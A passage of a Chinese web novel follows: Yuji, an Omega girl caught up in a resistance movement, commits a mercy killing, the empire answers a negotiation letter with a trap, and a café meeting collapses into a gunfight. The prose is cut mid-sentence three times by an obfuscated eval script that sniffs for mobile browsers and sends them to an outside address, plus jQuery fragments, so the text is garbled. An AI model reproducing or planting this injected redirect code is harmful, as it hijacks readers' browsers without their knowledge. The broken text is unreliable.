她现在的目标只有一个——救出连弛。 “所以,反抗军需要连弛,是因为他的黑市供应链?你们缺少资金?”尤纪问起来。 亚历克斯低低地“嗯”了一声。 见他没有排斥,尤纪试探性地问出更深入的问题。 “艾琳呢?格威在挑战她的地位,她迫切地想要坐稳首领的位置,所以才会让我参加作战会议的讨论?” 对于首领助理来说,这实在是个冒犯的话题。 尤纪本以为亚历克斯不会回答,但他只是定定地看着尤纪,半晌后,才开口说起反抗军的内幕。 1月的时候,反抗军在首都还有40个据点。 麦肯·威尔森原本是反抗军在帝国内部的间谍,但他出卖了首领陆维亚,导致陆维亚被帝国抓捕并公开处死。 首领的死亡,让反抗军内部陷入前所未有的混乱。 部分反抗军高层趁机将他们的子女送离蒂亚,并且想要退出组织。 继任首领艾琳把这些高层视作“叛徒”,将他们全部送入了地狱。 剩下的反抗军据点成员合并后,只剩下了28个。 12个反抗军高层的死带来了很大的动荡,药品、物资、武器的供应都出现了问题,这也是为什么艾琳迫切地希望连弛加入反抗军的理由。 再加上连弛是通讯专业的优秀学生,又会帝国语,完全可以弥补他们在技术和人才方面的不足。 “艾琳是继承了陆维亚遗志的人,我相信她会带着我们走向胜利。”亚历克斯说。 尤纪的心脏怦怦跳动。 她再一次感受到那种血脉里涌动着的兴奋——她甚至忍不住思考,如果她坐在艾琳的位置上会怎么做。 这太奇妙了,就仿佛……她天生对这些事情感兴趣。 她或许也可以问一些更尖锐的问题。 “那你呢,亚利?我以为你才是有话语权的那一个,但你却只是一个助理,连自己的据点也没有。” 尤纪盯着亚历克斯的眼睛,故意用了童年的称呼。 “我心甘情愿当一个助理。”亚历克斯微笑着,又摸了摸尤纪的头发。 尤纪并不喜欢这样的动作,她拍开他的手:“她是前任首领的遗孀,没有比她更适合当一个象征符号了,对吗?” 这个问题比刚才的还要冒犯,而亚历克斯却并未生气。 他的声音里混合了惊讶和赞叹:“尤纪,你太敏锐了,简直像个天生的政客。” 尤纪很轻地笑了一下。 她重新握住亚历克斯的手,语气中带着蛊惑性——尽管她自己还未意识到这一点。 “你想改变反抗军的现状吗?我是说,真正地为蒂亚解放做一些事情。” 说这话时,他们经过了那个被囚禁在山洞内“赎罪”的Omega。 这一次,尤纪听清楚了他的话。 他说的是“杀了我”。 亚历克斯沉默了一会儿,缓缓说:“我没有明白你的意思。” 尤纪回身拥抱了他。 她踮起脚亲吻了他的下巴,右手探到他挂着枪套的后腰上。 “陆维亚是个Beta,你也是。” 见亚历克斯并未阻止,她才取下那把手-木仓,按下击锤。 “改变反抗军要从现在开始,比如……停止毫无意义的虐/杀。” “砰——” 这次射击没有亚历克斯的帮助,子弹并未射中要害,反而让那个Omega在地上痛苦地翻滚哀嚎。 手腕上传来的后坐力让尤纪后退两步,亚历克斯扶住了她。 他低着头,在尤纪耳畔低语:“像我教你的那样,准星、缺口、目标——三点练成一线。” “目标定在头部最好,其次是心脏,实在瞄不准,多打几发子弹也可以让他死。” 他简直是个冰冷的机器。 不论是话语、声调还是神情,都毫无杀人的沉重,教尤纪时,更像是一个教导学生打靶的老师。 尤纪尽力稳住心神,瞄准那个Omega不断移位的头部。 第二声枪响传来。 长期关押在山洞内,受尽折磨却被当作是在“赎罪”的Omega终于得偿所愿。 尤纪闭上眼睛。 同样呼吸急促的还有亚历克斯——他见证了她第二次杀人。 一种莫名的悸动席卷了亚历克斯。 这种悸动不同于年少时期的怦然心动,也不同于与尤纪接吻时候的心跳加速。 她主动杀了人,而他违背了反抗军对待囚犯的条例。 不完全的忠诚无异于背叛。 亚历克斯清晰地意识到自己成为了一个叛徒。 为了尤纪的一句话,他成为了组织的叛徒。 而他竟并未感觉到痛苦,只有蓬勃的悸动和隐秘的兴奋——这像是一条无形的锁链,将她与他连在了锁链 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308238|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的两端。 这让他情不自禁地搂住尤纪,低头亲吻她的发顶。 “你做的很好,我的尤纪。” 尤纪任由亚历克斯将她环绕。 “谢谢你……”山洞里传来了那位Omega最后的声音,像是漫长的叹息。 不用谢。尤纪在心中说。 她将头埋在亚历克斯的胸口,听见他强劲而有力的心跳声。 有的事情一旦有了先例,第二次就不会再觉得痛苦。 比如杀人,再比如主动讨好亚历克斯。 她不希望亚利成为敌人,但在不知不觉中,她已经在用对待敌人的方式对待他了。 — 晚上八点,旺吉太太面包店收到了一封信件。 信封的红色火漆印着鸢尾花和三角形符号——这是反抗军的来信。 反抗军在平民街附近有一个据点,那里有一台电报机,反抗军之间通过电报机远程联系。 有“生意”的时候,反抗军的发报员会送来信件,请求旺吉帮忙做一些事情。 这些事情并不是白做的,她也会收取些必要费用,比市面上稍高些。 他们的信件通常不会留署名和标志,像今天这样大张旗鼓地留下鸢尾花标记,完全出乎旺吉的意料。 事实上,在平民街的大规模混乱之后,旺吉已经不太愿意跟他们合作了。 与反抗军合作风险与收益并存,但看现在的情况,风险已经远远大于了收益。 她准备过段日子关掉面包店,投靠嫁去联邦国家的女儿。 旺吉颤抖的手拆开信件,在看清了里面究竟写了什么之后,一阵无力感席卷了她。 过了一会儿,她平复了心情,决定还是亲自将信件送给帝国的军队——尽管这会受到一些盘问。 她需要那三万块的悬赏金,去购买一张合法前往联邦国家的船票。 旺吉本想去第九大街,联系那个常来巡逻的驻防军。 毕竟那个巡逻队的队长每次来平民街,都会得到她无偿赠送的一个面包。 但在巡逻队驻扎的岗亭,她却只看到了帝国宪兵队。 ——宪兵队的服饰实在是太好认了,黑色挺括的羊毛面料军装,胸口口袋处用金线绣着宪兵队的标志,光是衣着就比巡逻的驻防军要高出几个档次。 宪兵一看到这封信的火漆印章,立刻改了那无所事事的散漫表情。 “请稍等,容我和上级报告。”他走进岗亭内部。 那通电话之后过了大概半小时,一辆擦得锃亮的小轿车停在旺吉面前。 一名金色头发、面容英俊的帝国军官从车上走下来。 他彬彬有礼地询问了旺吉怎么得到的这封信。 旺吉说:“今天关店之前,我在柜台上发现的这封信……不知道是谁留下的,也不能确定是什么时候留下的。要知道,我每天的顾客都很多,光是做面包、卖面包就已经忙不过来了。” 金发军官耐心地听完他的回答,取出了一叠钞票递给旺吉。 “您的线索对我们来说很重要,这是在广播中说过的奖励,三万块,你可以数一数。” 看着手里多出来的钞票,旺吉悬着的心终于落下来。 “谢谢,谢谢长官……”她语无伦次起来。 在离开之前,旺吉想了想,还是拜托了眼前的金发军官一件事情。 “我有一个顾客也在平民街大混乱那天也失踪了,能不能麻烦你们也帮忙找一下?” “请告诉我姓名、性别和年龄?” “尤纪,Omega女性,大概十六七岁。” 安德烈·冯·哈耶克回到岗亭内,拨通了总督署内线电话。 “阁下,如您所说,反抗军果然要求谈判……是的,他们的时间定在明天下午四点,地点是第七街区的蒂亚女神教堂内。” “信件是一位平民街开面包店的太太送来的,线索的费用已经给她了,而且……”安德烈迟疑了片刻,最后决定如实汇报,“她还拜托我寻找尤纪。” 电话的另一端反应极其迅速:“他们不会去教堂的,将主要兵力布置在第九街区及平民街附近。把那个卖面包的商人抓起来,立即审讯她。” 安德烈有些疑问——为什么总督对尤纪的住所记得这么清楚? 总督显然比他自己以为的更加关注尤纪。 但这并不是发问的好时间,长期的军人生涯也让他绝对服从长官的命令。 “好的,阁下。” 27. 麦肯·威尔森的自白 山洞回来之后,艾琳、亚历克斯和她召开了一场小型会议,确认了谈判的底线。 以桑雷斯的强硬手腕,绝不会接受50人的交换数量。 15人是个刚好的数目。 不多不少,结合“安德烈”银发贵族的特征和他的公爵父亲,他们猜测这大概是桑雷斯可以接受的底线。 在这个基础上谈判,能救出的同伴越多越好。 此外,尤纪还听他们谈论了安全哨——晚上七点若是收不到亚历克斯从其他据点发来的电报,反抗军将会转移“安德烈”——如果他们被帝国武力抓捕并审问,这将成为他们人身安全的保险丝。 小型会议一直持续到深夜,亚历克斯亲自送尤纪上了阁楼。 那时候的尤纪已经睡意深浓,也顾不得清洁身体,一上床倒头就睡。 迷迷糊糊间似乎亚历克斯又吻了她。 他凑在她耳边说了什么,可她已经全然失去了意识。 4月22日,阴转小雨。 早上六点,天刚蒙蒙亮,一辆蒂亚国制造的汽车从别墅车库内开出。 这辆汽车看起来有些破旧,似乎很久没有洗过了,沾上了泥浆。 常年缺乏保养使得汽车漆面残留许多刮蹭的痕迹,发动机轰鸣得像工厂里的旧机器,尤纪怀疑它会在半路抛锚。 开车的是格威。 所有人都知道这次谈判极具危险性,有人主动承担了谈判地点周围的武力部署,但愿意全程陪同他们的却只有格威一个。 在车辆缓缓驶离别墅后,露出大片的荒原。远方的城镇未见到踪迹,山脉的轮廓却已缓缓显露。 尤纪终于知道了自己所处的位置。 五年前,蒂亚国计划修一条从首都直通莫比奇市的铁路,能快速地、大规模地带来莫比奇市盛产的苹果、香蕉和各种农作物。 这条铁路规划时将穿过乌尔山,然而承包铁路的建筑商募集巨额资金后,带着大部分的投资卷款跑路——尤纪的父母就是被骗的那一波人。 蒂亚国没有再重启这条铁路的修建。 听说穿越乌尔山的隧道已经开凿了一半,最后只能废弃。 昨晚那个山洞,就是在废弃的乌尔山里。 而那栋被反抗军用来当作据点的别墅,尤纪猜测是以前开凿隧道的项目部。 在得知这个据点的位置之后,尤纪紧绷的心情松懈稍许,很快就有了困意。 不知道怎么回事,就算没有艾琳在场,格威对尤纪还是保持着敌意。 他似乎是打心眼里就瞧不起Omega这个性别,不断说着许多挑衅的话。 “Omega小姐,到时候如果帝国要动用武力,我可没办法保护你。” 尤纪不想回答他,捂住耳朵窝在后座上准备睡觉。 “我会保护尤纪的。”亚历克斯说。 他非常自然地将尤纪的头摆在自己的大腿上。 格威猛地一踩刹车。 尤纪的头跟亚历克斯的小腹撞在一起,她分外恼怒地抬头,准备跟格威吵一架的时候,亚历克斯覆上了她的手。 “格威,我与艾琳昨晚开了一场秘密会议,讨论要把你的女儿也加入交换名单里。”亚历克斯淡淡地说,像是谈论今天的天气。 格威闻言,呼吸一滞。 “真的吗?” “真的。”亚历克斯说,“你是我们最强的战士,战士的家属应当得到优待。” 车辆重新平稳起来,尤纪看到格威握住方向盘的手青筋毕露。 她回握住亚历克斯,轻声对他道谢。 她又从他身上学到了一些东西。 “尤纪,你永远不用对我说谢谢,”亚历克斯说,“我们现在更应该想一想,帝国派来的谈判人员是谁。” — “总督安排您前往女神教堂接待几位客人,”来人的蒂亚语并不熟练,他顿了顿,又说,“或许会有一场谈判。” 他穿了件黑色的军装,扣子扣到最上一颗,头上戴一顶同色的硬檐军帽,帽子边缘露出一些金色的发丝。 这个天气并不适合戴帽子,也没有宪兵会在室内穿戴如此整齐。 他们通常会敞开外套,露出里面的深灰色马甲,举手投足间不经意流露出一些作为总督亲卫的傲慢。 麦肯·威尔森猜测这人可能是个秃顶。 他被自己的猜测逗笑了。 距离他接受停职调查已经过了很多天。 说是“停职调查”,其实也算得上是软禁。 房间内没有窗户,活动的空间尚且算大,只是除了一张硬板床、一个马桶和一盏孤零零的吊灯外,空无一物。 在这样的房间里,一切都变得漫长。 他一开始用送餐的频率来判断时间,但很快发现他们送餐也是不规律的。 有时候他刚吃饱没多久就送了餐,有时候又会隔很久,饿得他胃里冒酸水。 常常会有人来讯问他。 他们不用刑具,也不用其他的激烈手段,只会翻来覆去问几个问题。 问他在蒂亚国时的履历,以及投靠帝国后,在帝国通讯所的履历。 还有一些日常的,比如近期接触过什么人,有什么爱好,平时的生活习惯等等。 麦肯·威尔森每个问题都回答得很正常,他确信自己的履历非常干净。 蒂亚与帝国交战时,他一直都是蒂亚国立大学的通讯系教授。 等到蒂亚投降后,他为了生活和对科研的热爱,投靠了帝国——帝国有更多的资金来支撑他的科研事业。 除了工作,他没有其他的爱好,也没有家人,平时的生活就是上班和下班。 在他投靠帝国后,与以前的朋友、同事、亲戚们也很早就断了往来。 唯一异常的事情就是尤纪,他因为一时的心软,帮助那个可怜的小姑娘进入总督署。 不知道哪个环节出了问题,尤纪进入总督署的事情被提前发现了,招来了总督的怒火。在这之前,他一直以为总督的为人还算温和。 这些回答一开始会让他觉得耻辱,因为这些过往无一例外都在赤-裸裸地提醒着他的背叛,那是他从前会竭力阻止自己想起的。 但是后来他已经麻木——被问的次数实在是太多了。 一旦人变得麻木,就不会再对背叛这件事情感到愧疚。 他甚至发展出了一套自己的、理所当然的逻辑。 在蒂亚国的时候,他只是个平平无奇的通讯系教授,顶多在通讯研究所挂个名誉研究院的名头。 他能得到的研究资金也很有限,他的那套变频加密理论根本不受重视。 虽然他是个有姓氏的贵族,但在一些更加尊贵的蒂亚贵族前,他的成就根本排不上号。 比如那个修建莫比奇市铁路的建筑商。 建筑商跑路后,除了他本人的通缉之外,他留在蒂亚的家人甚至没有得到任何的惩罚,继续他们着豪华奢靡的生活——仅仅因为他是蒂亚国王的一个远房亲戚。 在蒂亚国立大学,麦肯·威尔森拿到的科研资金甚至比不上通讯系院长的亲戚。 即使那些人的科研项目都是一些诸如“信鸽与电话通讯技术交叉理论研究”这样可笑的东西。 但是投靠帝国后,他不但有了一笔非常可观的科研资金,手底下还有了一群可以给他干活的科研助理。 他成为了整个项目的负责人,完全可以让他的理论变成现实。 然而,长期待在一个不能做任何事情的地方,未免让人容易发生情绪上的波动。 他有时候会以为自己做的事情暴露了,但很快他又否定了这样的想法——反抗军的成员绝对得不到这么好的审讯待遇。 而他甚至在击杀反抗军首领的那次特别军事行动中立下了消息传递的最大功劳。 他的住所、他的办公室、他的往来人员……用来私下联络的小型电报机早就被处理了,一切都做得堪称完美。 帝国没有理由会怀疑他的忠诚。 所以,在这个戴帽子的宪兵让他去接待几位客人时,他还以为停职调查已经结束,而他要去接待几位跟他一样的“客人”。 毕竟,叛徒之间总会有共同语言。 如果他们还没有想好要不要向帝国献上忠诚,他也不介意作为一个鲜明的案例来进行劝告。 这种事情他做过好几次,并不陌生。 唯一让他有些不舒服的是蒂亚女神教堂这个地点。自从国家沦为占领区后,他就不会再来这个教堂了。 不知道是对方故意的,还是总督的授意,总之这个地点让他有些微妙的不舒服。 蒂亚女神教堂深藏在第七街区迷宫般的巷弄尽头。 在被占领的第四年,这座教堂缺少维护,墙体的排水管锈蚀后爬满了地锦,细雨洗刷下是一浪接着一浪的碧绿。 麦肯·威尔森在那位戴帽子的宪兵的陪同下,推开教堂侧门。 旧日的辉光在在尘埃中苏醒,拱顶与四壁的穹隆被细小的镜面镶嵌覆盖——首都未被战火波及,这座由碎玻璃、抛光金属片、云母与水晶的边角缔造的教堂得以保存。 教堂祭坛镶嵌着蒂亚女神的巨幅镜面画,但被占领后,一座巨大的、暗金色的帝国烈日纹章雕像伫立在女神画作的前方,成为祭坛上更新的神明。 这座冷冰冰的金属雕像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318551|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个无情的入侵者,打破整座教堂光华璀璨的美感。 麦肯·威尔森迈入祭坛前,长久地凝视着女神的镶嵌画。 光线穿过高处未被封死的狭窗,斜射在墙上,并在帝国纹章雕像上投出女神的侧影。 几乎像是帝国的金色烈日被女神的轮廓吞噬了一般。 又或者说,女神依托于金色烈日而重生。 这一幕让威尔森的呼吸一滞。 他不由自主地朝着女神行礼,而旁边那位戴帽子的宪兵也脱下了帽子,举起右手,对金色的烈日行着军礼。 威尔森悄悄看过去,发现他并不是个秃头。 这时候,一个小男孩探头探脑地从金色烈日雕像后出来。 他手里举着一封信。 小男孩瑟缩着,显然对宪兵有所畏惧,便把信交到了威尔森手里。 “有人说,如果教堂里来了人,我就把这封信交到他手里。”小男孩有着褐色的头发,眼睛里映出穹顶的玻璃星河。 威尔森疑惑着拆开信件。 上面写得很简单:下午四点,平民街咖啡馆见。 这本该是让威尔森感到庆幸的话,毕竟没有人愿意在蒂亚女神的注视下,劝告她的国民效忠帝国。 但那封信件上盖着的印章让他根本庆幸不起来——正三角形中央,盛开着一朵红色鸢尾花。 这一刻,威尔森觉得女神给他开了一个天大的玩笑。 “总督说接待的朋友是反抗军?”他满脸不敢相信地问宪兵。 宪兵劈手夺过信件,在看清了上面的印章后,立即拔-出随身携带的枪支,将枪口对准了小男孩。 “是谁给你的信?什么时候拿到的?!”宪兵咆哮着说。 小男孩吓得坐在了地上,一动不敢动。 “不认识,一个哥哥,给了我五块钱,让我送信……大街上遇到的……”他似乎是被吓傻了,说的话也颠三倒四。 “说实话!你是不是反抗军同党!你怎么躲过宪兵队藏进来的?藏了多久?身上有没有武器?!” 一连串的质问下,小男孩连话都说不出来了。 “该死的老鼠,我杀了你!” 宪兵暴怒着按下击锤。 在他扣下扳机的前一秒,威尔森朝宪兵扑了过去。 因为威尔森的这一扑,宪兵的手-枪瞄偏位,子弹激射-到祭坛方位的墙壁。 “哗啦”一声,碎玻璃溅落到地面。 枪声惊动了在外围守卫的宪兵,他们鱼贯涌入,各个持枪警戒。 “好了,好了。”威尔森将吓坏了的小男孩拉到身后,朝那个戴帽子的宪兵道歉,“只是个无辜的孩子,长官,他已经解释了信怎么来的。” 宪兵阴鸷地盯着威尔森。 “你要给反抗军求情?”他阴阳怪气地说。 威尔森看了一眼祭坛上的女神镶嵌画。 那枚被他扑偏了的子弹刚好射中女神的右眼,一连串的碎玻璃被粘连着往下方脱落,露出灰白色的墙壁。 ——像极了女神的眼泪。 威尔森几乎被这充满神性和悲悯的画面惊呆了。 他回过头,环视着周围持械的宪兵们,心头那些早就凉透了的血又重新燃烧起来。 “长官,我只是想避免不必要的流血。尤其是在神明面前。” —— “我只是不忍心看到一个人在我面前流血而亡。”旺吉垂着头,坐在审讯室内。 在看到那些惨无人道的刑具时,她立刻交代了自己和反抗军的交情。 “大概七八年前,我是一个诊所的护士,后来因为一些私人原因我辞去了工作,在平民街开了一家面包店……接触反抗军是在两年前,有一天晚上有个受伤的Alpha倒在了我的面包店门口,我害怕他招来巡逻队影响我的生意,就把他搬回了店里。” “我对着蒂亚女神发誓,我绝没有加入反抗军,也只有那一次帮助过他们。”旺吉又重复了一遍。 “后来也没有见过那个人了,每天买面包的有陌生人也有熟人,我真的不知道是谁留下的信。说实话,我准备用三万块钱买一张离开蒂亚的船票,去投奔我嫁到联邦国家的女儿。” 面前的宪兵蓄着络腮胡子,他将所有笔录记录下来后,抬起头冷冷地盯着旺吉:“那么为什么平民街混乱的那一天,尤纪会来面包店找你?你们在店里说了什么?” 旺吉:“她找我要了一些外伤药品,还找我买了一个面包。” “是吗?” 旺吉硬着头皮点头。 络腮胡子对她笑了一下,叫来了两个宪兵。 随后,审讯室内发出一声惨叫。 28. 谈判破裂 抵达明堂街时已经是中午,细雨完全停了,天气阴沉沉,像是一团发霉的烂棉絮,将阴翳压在所有人的心头。 尤纪没想到距离平民街只有一个街区距离的地方,居然藏着一个反抗军的据点。 据点藏在居民楼中,由两套房间打通,里面住的人不多,只有一个Beta和六个Alpha。 Alpha们都不在易感期,尤纪松了一口气。 亚历克斯显然和他们很熟稔,拥抱了每个人,又将尤纪特别介绍给他们。 “这是尤纪,Omega,”他顿了顿,看了一眼尤纪,慢吞吞地说,“等一切都结束之后,我会向尤纪求婚。” 尤纪并未想到他居然用了这样的介绍。震惊之余,又不免有些难堪。 “好小子,你的未婚妻是Omega啊?”棕色头发、刀疤脸的女性Alpha大呼小叫起来,用力一拍亚历克斯的肩膀。 “那我们这些没有伴侣的Alpha怎么办?” “对啊,考虑考虑我们呀亚历克斯。”另一位Alpha伸出拳头,锤向亚历克斯的肩膀。 Beta女性朝他吹起口哨:“真给我们Beta长脸啊,居然能搞到一个Omega。” 亚历克斯并未解释,微笑着认下那些或假模假样的质疑。 尤纪并不想这么早就坐实“未婚妻”的身份。 蒂亚人重视婚姻,未征询她意见便把这件事情宣告于人,实在是一种冒犯。 更何况,亚历克斯还未向她求婚,她也并未答应,怎么可以直接称为“未婚妻”呢? 但他没有给尤纪开口辩解的机会,只是低着头,问尤纪需不需要洗个澡。 他低垂下的黑色碎发遮住了窗外映过来的光线,淡褐色眼睛里只剩下暗沉沉的幽微倒影。 尤纪理所当然地点头。 乌尔山据点内的两个夜晚实在是难捱,一公里外才有水井,Alpha们都是直接去附近的河中洗澡,但尤纪的身体无法承受冷水。 这样的条件下,提出烧热水洗澡简直是一种傲慢。 “那我去帮你买水,尤纪,你先在这里歇一会儿,上午坐车太累了。” 他牵起尤纪的手,在掌心握紧了,然后放开。 等到亚历克斯出了门,尤纪才后知后觉地反应过来,这完全是他的陷阱。 需不需要洗澡?这完全是个无法拒绝的问题。 而她一旦点了头,亚历克斯就可以借口脱身离开这里。 他走后,剩余的人开始讨论作战计划和撤离安排,有时候还会征询尤纪的意见,问她有没有听懂。 如果没有听懂,他们会换个讲法,直到她听懂了、可以复述出来为止。 面对着一群并不熟悉却又热情的Alpha,尤纪再无法开口解释“未婚妻”的事情。 这有损亚历克斯的威信,也会将自己置身于怀疑之中。 尤纪感觉到自己成为了一只猎物。 在她根本没有意识到的时候,他捕猎的触手正在缓慢地、温柔地地将她包裹起来。 精致、漂亮、充满迷惑性。 这时Alpha们并未注意到尤纪的异样,在讨论完作战安排后又聊起了别的。 “亚历克斯确实很有能力,他这次又要立功了……不知道会不会分派一个据点给他……” “上次的通讯塔爆炸不也是他一手策划吗?那么大的动静,真是厉害……” “不过我说,那爆炸还是有点问题。”一个Alpha看了一眼尤纪,又回头和同伴们聊天。 “我们那点炸-药只够炸两个副塔的,主塔那边还没放炸-药呢自己就塌了,陷下去那么大一个坑……所需要的炸-药量可不是我们能搞到的……” 爆炸案还有另一方势力的参与? 尤纪瞪大眼睛,打了个寒颤。 —— 平民街唯一一家咖啡馆坐落在街区的南侧,毗邻沃克街,离旺吉太太面包店只隔着两个铺面。 这是个实实在在的黄金地段,享受了平民街的低廉租金,又以便宜的价格吸引了沃克街乃至第九街区的消费者。 这家咖啡厅原先的老板是个勤勤恳恳的Beta,《新人类就业禁止法案》出台后,被迫以半买半送的价格转让给了一个蒂亚人类。 但这也与尤纪没什么关系。 连驰从不让她喝咖啡,他说那东西有咖啡因,不适合她这个年纪的喝。 说起来,尤纪第一次喝咖啡还是在乌尔山的据点内,那味道实在是不敢恭维。 但当尤纪缓缓进入平民街时,一股紧绷的气氛立即攥紧了她——平时那些无所事事、躺在角落里的流浪汉们不见了,取而代之的是许多生面孔。 大街上多了许多驻守的帝国军人,他们不像那些穿灰色军装的巡逻队一样松散,每个人都有着挺拔的身材,纪律性比巡逻队高得多。 通过着装,尤纪立刻认出来他们是总督的宪兵队。 “这个街区道路狭窄,没办法大规模布防,”格威皱起脸,鼻子里喷出两行粗气,又看向尤纪,“喂,撤退路线记清楚了没有?走的时候别拖后腿。” 亚历克斯咳嗽一声,格威的态度又是一个大转弯,嘿嘿直笑起来:“记不清也没关系,跟紧我,我可是反抗军中最强的战士!” 咖啡馆窗明几净,临街的位置是整面墙的玻璃砖,既能透光,又可以很好地隔绝大街上往店内窥探的视线。 这种玻璃砖在蒂亚很受欢迎,以前住在苏堂路的别墅时,尤纪家也有一整面的玻璃砖墙做玄关和客厅的隔断。 刚搬来平民街时她不习惯,常常走到这家咖啡馆外抚摸那些晶莹光滑的玻璃。 尤纪只从玻璃砖墙外看到两个影影绰绰的人影。 帝国派来的谈判人员只有两个?她猜想他们也带了翻译,那她自己在谈判中起到的作用就会相当有限。 咖啡馆门前站着个宪兵,要求他们交出武器。 亚历克斯拒绝了:“这样的要求无法让我看到贵国谈判的诚意。” 格威听不懂他们在用帝国语交谈什么,但他看动作也能猜到是什么要求。 他张望着四周,在视线触及到房顶上的自己人后,才强压下了怒气。 “亚历克斯,我认为这完全不像是谈判!” 尤纪咽了一下口水。 她佯作镇定地与帝国宪兵交涉,尽可能地将话说得漂亮。 “阁下,我们来之前已经做好了充足的准备——如果谈判破裂,安德烈校尉将会被转移——大家都在尽力避免一些不必要的流血事件。既然你们都带着枪,我们带枪也只是为了自我保护。” 眼看帝国宪兵的神情有所松动,尤纪又转向了身侧亚历克斯,捏了捏他的手。 “艾琳等着我们带回去一场胜利,”她看向格威,“我的哥哥连弛、你的女儿莫莉,都在等着我们带他们回家。” 在相互对峙的双方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329866|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间,尤纪居然扮演了一个调停者的角色,这让她感到不可思议。 门口的宪兵耸了耸肩膀,表示要先进去汇报。 在等待的空隙里,亚历克斯握住尤纪的手,却并未看着尤纪:“如果有意外发生就别回之前那个据点了,去这里。” 他将五指插-入尤纪的指缝间,向她掌心里塞了个纸条。 尤纪心下一凛。 她顺着他的视线看过去,在平民街与明堂街交叉的路口,一辆蒙着篷布的大型车正驶过那里。 这种车尤纪以前见过,是运兵车。 街道上的帝国宪兵越来越多,而反抗军在此处布防的同伴们,也都正在撤离,比如那个房顶上假装在修理烟囱的人就消失了。 反抗军的三个谈判人员,已经悄无声息地成为了黑色潮水中的一座孤岛。 即使预料到这场谈判非常危险,但尤纪作为反抗军中唯一知晓内情的谈判人员,却忍不住心惊。 ——桑雷斯是不想救出自己的弟弟了吗? 心惊之余,她又不得不承认,这样强硬的做派确实符合桑雷斯的风格。 正当此时,门口的宪兵开了门,表示可以带武器进入。 “我们也想避免不必要的流血事件。”他生硬地说。 在进入咖啡馆前,尤纪尚且对谈判的成功率保持着希望,但推开门后,她瞳孔骤缩,震惊到无以复加。 那点本就渺茫的希望瞬间化为了泡影。 帝国派来参加谈判的人,居然是麦肯·威尔森! 他看起来有些疲惫,下巴上留着没刮掉的胡茬,眼底一片青黑似乎是没有睡好。 他身上还是穿着那天见面时的西装,但是已经皱巴巴的,领带不知道哪里去了,衬衫最上方的扣子没有扣。 尤纪张了张口,在大门关上的刹那,一颗子弹已经对着威尔森的方向激射过去。 “你这个叛徒!” 作为现场唯一的Alpha,格威凭借着超强的体力和敏捷度,立即朝着威尔森的方向开枪。 而威尔森不愧是经历过多次刺杀的人,他连滚带爬地躲过了子弹,藏到咖啡馆的吧台桌下。 于此同时,刚刚开门的帝国人也拔-枪朝着尤纪他们射击。 “居然派来这个叛徒,看来那个银发贵族确实不怎么值钱!” 素来情绪内敛的亚历克斯罕见地暴怒,漂亮的面容冷凝成冰。 他躲过飞来的子弹,掩护着尤纪退到角落,单手掀翻咖啡桌,制造出一方暂时安全的掩体。 与手-枪射击声同时响起的,还有隔壁街区的密集枪炮声。 “是明堂街据点出事了。” 亚历克斯的面色难看到极点。 他将手伸到掩体外,抽空对看门宪兵回击一枪,另一只手掷出一把地上捡来的餐刀。 宪兵侧身躲避。 他只躲开了子弹,但并没有躲开随即而来的餐刀。 那柄餐刀插-在他的心脏正中央,他立刻扑到在地,身体很快被红色的血泊淹没,喉咙里发出嘶哑的“嗬嗬”声。 而格威正在和戴帽子的宪兵激烈交战。 子弹集中了吧台上的咖啡壶和各种杯具,不断有叮叮当当的声音传过来,伴随一两声怒骂和子弹射-进-肉-体的闷响。 “Alpha确实是有着顶级的身体素质,但再好的体力和身体,恐怕也扛不住子弹和枪-炮吧?”帝国宪兵半是惊叹,半是惋惜。 29. 下作手段 这个角度看不到吧台那边的战况,听见宪兵的话后,尤纪更是提心吊胆。 一声接一声地子弹破空声里,她听见亚历克斯朝她耳语。 “我掩护你离开。离开后,你立即去纸条上的地点,那里藏了一些钱和一张船票。” 亚历克斯指着从咖啡馆通往后门的走廊,飞快地告诉尤纪:“我们在纸上推演过的,还记得吗?” 这条走廊没有开灯,黑漆漆的,像是一张张开的巨口,谁也不知道里面到底有没有藏着野兽的獠牙。 尤纪不知道为什么亚历克斯要做出将她送离蒂亚的决定。 这太突兀了,他明明之前还急不可耐地当众宣告她是他的未婚妻。 仿佛是知道了尤纪心中所想,亚历克斯对着她笑了一下。 “艾琳已经被你吸引了,你继续留在反抗军会耽误我们的事业。” “等一切结束之后,我会向你求婚,这一点并不会改变。” 枪林弹雨之中,Beta少年低头吻了尤纪的发顶。 这实在是个浪漫的举动,这一吻里包含了深情和不舍,尤纪完全不敢抬头看他的眼睛。 随后,他探出掩体就地一滚,来到格威身边与他协同作战。 这场战斗的激烈程度比当初兰德尔和桑雷斯拔-枪对射要激烈得多。 